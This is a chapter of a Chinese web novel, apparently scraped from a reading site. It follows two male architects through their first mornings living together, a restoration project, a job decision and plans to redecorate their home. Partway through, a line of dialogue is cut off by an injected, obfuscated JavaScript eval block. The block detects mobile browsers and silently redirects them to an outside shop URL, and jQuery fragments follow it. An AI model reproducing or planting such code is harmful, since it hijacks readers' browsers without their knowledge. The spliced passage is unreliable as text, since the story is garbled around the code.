默认冷灰
24号文字
方正启体

35. 日常与晨光

作者:小周的开心被偷走了本书字数:K更新时间:
    同居的第一个清晨,林溪是被阳光吻醒的。


    晨光透过没拉严的窗帘缝隙,斜斜地切在床上,正好落在顾怀瑾沉睡的脸上。他侧躺着,一只手还搭在林溪腰上,呼吸均匀绵长。林溪就这么静静地看着,看他长长的睫毛在眼睑下投出淡淡的阴影,看他唇边微微上扬的弧度——连在睡梦里,这个人都在笑。


    林溪轻轻移开顾怀瑾的手,准备起床。刚一动,那只手又缠了上来,这次直接把他拉回怀里。


    “再睡会儿。”顾怀瑾眼睛都没睁,声音带着刚醒的沙哑。


    “七点了,您今天不是要开会?”


    “推迟了。”顾怀瑾把脸埋进林溪颈窝,“陪我再躺十分钟。”


    这种赖床的顾怀瑾,是林溪从未见过的。他忍不住笑,顺从地躺回去,手指有一下没一下地梳理顾怀瑾睡乱的头发。


    “您什么时候推迟的会?”


    “昨晚你睡着后。”顾怀瑾终于睁开眼,眼睛里还有惺忪睡意,“给助理发了消息,说今天上午不过去了。”


    “那您上午……”


    “在家。”顾怀瑾亲了亲他的额头,“陪你整理东西,然后……做点别的。”


    “别的”这个词被他说得意味深长,林溪的耳朵又红了。


    两人在床上赖到八点半才起来。顾怀瑾去洗漱,林溪去厨房做早餐。打开冰箱时,他愣住了——昨晚买的食材整整齐齐码放着,牛奶在保鲜层,鸡蛋在蛋格里,蔬菜用保鲜袋分装好。而最显眼的位置,放着那盒新鲜的草莓,旁边贴了张便签:


    “给林溪的草莓,这次不会发霉了。


    ——顾”


    字迹工整,和他平时在图纸上的签名一样漂亮。


    林溪拿着便签,心里像被温水泡过,柔软得一塌糊涂。


    早餐时,顾怀瑾穿着睡衣坐在餐桌对面,头发还没完全干,有一缕不听话地翘着。他一边吃煎蛋一边看手机,眉头微皱。


    “工作?”林溪问。


    “嗯。修复项目的初步方案,团队发来了。”顾怀瑾把手机推过来,“你看看。”


    林溪接过。屏幕上是那栋受损建筑的扫描图,旁边是修复方案。他仔细看了几分钟:“这个加固方式……是不是太保守了?”


    顾怀瑾眼睛一亮:“怎么说?”


    “你看这里,”林溪放大图纸,“原建筑的木结构虽然腐朽,但榫卯连接的方式很精巧。如果用现代的钢结构完全替换,会失去原有的力学逻辑。我觉得可以部分保留,用碳纤维布加固。”


    他边说边拿过餐巾纸,用铅笔在上面画示意图:“就像中医,不是哪里坏了切哪里,是激发它自身的修复能力。”


    顾怀瑾看着那张餐巾纸上的草图,看了很久。然后他抬头,眼睛里有林溪熟悉的那种光——专业被点燃时的光。


    “下午来事务所,”他说,“给团队讲一下这个思路。”


    “我可以吗?”


    “你比他们强。”顾怀瑾说得很自然,“吃完我们就去。”


    同居的第一个上午,就这样变成了工作研讨会。


    ---


    事务所里,同事们看见林溪时都露出“果然如此”的笑容。陆深凑过来小声说:“林工,以后就是老板娘了?”


    林溪红着脸给了他一肘子。


    会议室的投影屏上,林溪讲解他的修复思路。从原建筑的结构分析,到碳纤维加固的技术细节,再到“新旧共生”的设计理念。他讲得很投入,没注意到顾怀瑾一直靠在门边看着他,眼神温柔得像在看什么珍宝。


    讲完后,团队沉默了半分钟,然后爆发出热烈的讨论。


    “这个思路确实更尊重原建筑!”


    “但施工难度会增加……”


    “碳纤维的成本要重新算……”


    顾怀瑾走过来,拍了拍林溪的肩膀:“就这么办。重新做方案,预算我来协调。”


    “顾总,”一位老工程师皱眉,“这样风险很大,万一——”


    “没有万一。”顾怀瑾打断他,“林溪的方案是最好的。我们要做的,是把它实现,不是质疑。”


    这话说得很重,会议室瞬间安静下来。林溪看向顾怀瑾,后者给了他一个坚定的眼神。


    那天下午,他们一直在事务所。林溪和工程师们讨论技术细节,顾怀瑾在办公室处理其他工作。但每隔一小时,他就会出现在会议室门口,有时候是送杯水,有时候是问进度,有时候就是站在那里看一会儿。


    第三次出现时,苏薇忍不住小声对林溪说:“顾总今天是不是太黏人了?”


    林溪低头假装看图纸,耳朵又红了。


    傍晚六点,初步方案完成。顾怀瑾请大家吃饭——不是外卖,是去附近的一家云南菜馆。席间,团队气氛轻松了许多,大家聊工作,聊生活,聊最近的建筑展。


    林溪安静地听着,偶尔插几句话。他能感觉到,大家正在慢慢接受他——不是作为“顾总的人”,而是作为团队的一员。


    回去的路上,顾怀瑾开车,等红灯时忽然说:“今天表现得很好。”


    “谢谢。”


    “不是客气话。”顾怀瑾转过头看他,“你是真的成长了。在专业上,在和人沟通上,都在发光。”


    林溪被他看得不好意思:“是您教得好。”


    “不。”顾怀瑾摇头,“是你自己好。”


    车里的空气突然变得有些稠。直到后面的车按喇叭,顾怀瑾才重新启动车子。


    到家已经九点多。两人都累了,洗漱完就瘫在沙发上。


    “明天什么安排?”林溪问。


    “上午去工地现场勘查,下午见材料供应商。”顾怀瑾揉了揉太阳穴,“你呢?”


    “我……还没想好。”林溪顿了顿,“其实,上午我收到了一个工作邀请。”


    顾怀瑾坐直身体:“什么邀请?”


    “一家国际建筑事务所,想挖我去做他们的中国区项目负责人。薪水……很高。”


    空气安静了几秒。


    “你想去吗?”顾怀瑾问,声音很平静。


    “我不知道。”林溪诚实地说,“他们做的项目很大,很光鲜。但……不是我想要的那种建筑。”


    “你想要什么?”


    林溪看着天花板:“想要像东区社区中心那样的,能真正改变一些人生活的建筑。想要像赵秀英画的图纸那样的,能承载记忆的建筑。想要……像我们现在住的这个房子这样的,有温度的建筑。”


    顾怀瑾伸手,握住他的手:“那就别去。”


    “可是……”


    “没有可是。”顾怀瑾说,“如果你为了高薪去做不喜欢的事,我会很难过。不是因为你不在我身边,是因为你不快乐。”


    林溪转过头,看着顾怀瑾在昏暗灯光下的侧脸。这个人,总是能一眼看穿他最深的挣扎。


    “那如果我加入你的团队呢?”他轻声问,“不是以……恋人的身份,是以建筑师的。”


    顾怀瑾愣了一下,然后笑了:“你已经在了。”


    “我是说正式的。有合同,有职位,有责任。”


    这次顾怀瑾认真地想了想:“可以。但你要从项目建筑师做起,和其他人一样。我不会给你特殊待遇。”


    “我不要特殊待遇。”林溪眼睛亮起来,“我要公平竞争的机会。”


    “那就这么定了。”顾怀瑾握紧他的手,“明天来签合同。”


    问题解决了,但林溪心里还有件事。


    “顾怀瑾,”他犹豫着开口,“关于……那方面的事。”


    “哪方面?”


    “就是……昨天晚上。”林溪的脸开始发烫,“我觉得,我们应该……沟通一下。”


    顾怀瑾的表情变得微妙:“沟通什么?”


    “就是……喜好,习惯,频率……”林溪越说声音越小,“我不想每次都……猜。”


    顾怀瑾盯着他看了几秒,突然笑出声来。不是平时的轻笑,是开怀大笑,笑得肩膀都在抖。


    “你笑什么!”林溪又羞又恼。


    “笑你可爱。”顾怀瑾笑够了,凑过来在他唇上亲了一下,“好,我们沟通。你喜欢什么样的?”


    “我……”林溪张了张嘴,发现自己其实也不知道,“我没经验……”


    “我也没有。”顾怀瑾说得很自然,“所以我们可以一起探索。”


    这句话像有魔力,瞬间抚平了林溪的所有不安。是啊,他们都不是经验丰富的人,但他们可以一起学习,一起成长,像探索建筑一样探索彼此。


    “那……”林溪鼓起勇气,“我想多抱抱。不是那种……就是普通的抱抱。”


    “好。”顾怀瑾张开手臂,“现在就来。”


    林溪靠进他怀里。顾怀瑾的体温透过睡衣传来,心跳沉稳有力。他们就这样在沙发上拥抱着,什么也不做,什么也不说。


    窗外,北京夜晚的车流声隐隐传来。屋里,只有钟表滴答和彼此的呼吸声。


    “林溪,”顾怀瑾忽然说,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193507|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下周末,我想带你去个地方。”


    “哪里?”


    “我父亲的老家。在河北的一个小村子。”顾怀瑾的声音很轻,“他一直想带我去,但总是忙。后来病了,去不了了。现在……我想带你去。”


    林溪的心轻轻一震:“您父亲……”


    “嗯。”顾怀瑾顿了顿,“我想让他见见你。虽然……可能有点晚。”


    林溪抱紧他:“不晚。什么时候都不晚。”


    那晚,他们睡得很早。顾怀瑾还是习惯性地抱着林溪,但这次,林溪也回抱着他。两人像两片拼图,严丝合缝地嵌在一起。


    半夜,林溪醒来一次。月光从窗帘缝隙漏进来,照在顾怀瑾熟睡的脸上。他睡得很沉,眉头完全舒展,嘴角还有一丝笑意。


    林溪轻轻吻了吻他的额头,然后重新闭上眼睛。


    第二天早上,林溪先醒了。他轻手轻脚地起床,准备做早餐。刚走到厨房,就被从后面抱住了。


    “怎么起这么早?”顾怀瑾的声音还带着睡意。


    “给您做早饭。”林溪转过身,看见顾怀瑾头发乱糟糟的样子,忍不住笑,“您再回去睡会儿。”


    “不睡了。”顾怀瑾蹭了蹭他的颈窝,“想看你做饭。”


    于是林溪煎蛋,顾怀瑾就从后面抱着他,下巴搁在他肩上。林溪切菜,顾怀瑾就在旁边递盘子。简单的早餐,硬是做了半个小时。


    吃饭时,顾怀瑾说:“今天签完合同,我带你去个地方。”


    “哪里?”


    “保密。”


    上午在事务所签完聘用合同后,顾怀瑾真的开车带林溪去了一个“保密”的地方——不是什么浪漫的景点,而是一个建材市场。


    “来这里做什么?”林溪疑惑。


    “选材料。”顾怀瑾牵着他的手往里走,“我们的家,该重新装修一下了。”


    林溪愣住了:“装修?”


    “嗯。”顾怀瑾在一个木材摊位前停下,拿起一块橡木板,“你从伦敦带回来的那些东西——刺绣,手稿,徽章——需要展示空间。我想在客厅做一面‘记忆墙’,就像你东区方案里那样。”


    林溪的心跳加快了:“您是说……”


    “我们的家,应该有我们的记忆。”顾怀瑾看着他,“一起选材料,一起设计,一起把它变成真正的家。”


    那天下午,他们在建材市场逛了很久。选木材,选涂料,选灯具。顾怀瑾很认真地问林溪的意见:“这个颜色你喜欢吗?”“这种纹理怎么样?”“这里的采光要怎么改?”


    林溪一一回答,心里那处柔软的地方被填得满满的。


    这不是设计一个项目,这是建造一个家。一个属于他们两个人的家。


    傍晚,他们抱着一堆材料样本回到家。顾怀瑾把样本摊在客厅地上,两人坐在地板上讨论设计方案。


    “这里,”林溪在纸上画,“可以做一整面书架,放你的专业书和我的笔记本。”


    “这里,”顾怀瑾指另一个位置,“可以挂哈桑母亲的刺绣,配一个射灯。”


    “窗户要换大一点。”


    “阳台可以改成小花园。”


    他们一直讨论到深夜。草图画了一张又一张,方案改了一版又一版。最后两人累得直接在地板上睡着了,头靠着头,手牵着手。


    第二天早上,林溪在晨光中醒来,发现自己躺在卧室床上,身上盖着被子。顾怀瑾不在身边。


    他走出卧室,看见顾怀瑾在厨房里,正对着手机学做阳春面。锅里的面有点坨,但他很专注,眉头紧锁,像在攻克什么技术难题。


    林溪靠在门框上看了一会儿,然后走过去,从后面抱住他。


    “早。”他说。


    顾怀瑾身体放松下来:“早。面坏了……”


    “没关系。”林溪接过锅铲,“我来。”


    晨光洒进厨房,给一切都镀上温柔的金边。煎蛋的滋滋声,面包机的叮咚声,水壶的鸣笛声——这些日常的声响,汇成一首平凡而美好的交响。


    顾怀瑾从后面抱住林溪,把脸埋在他肩上。


    “林溪。”他轻声说。


    “嗯?”


    “这样的早晨,我想要很多很多个。”


    林溪关掉火,转身,吻了吻他的唇。


    “会的。”他说,“我们会有很多很多个这样的早晨。”


    窗外,北京的秋日天空湛蓝如洗。新的一天开始了。


    而他们的故事,也正翻开崭新的一页。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)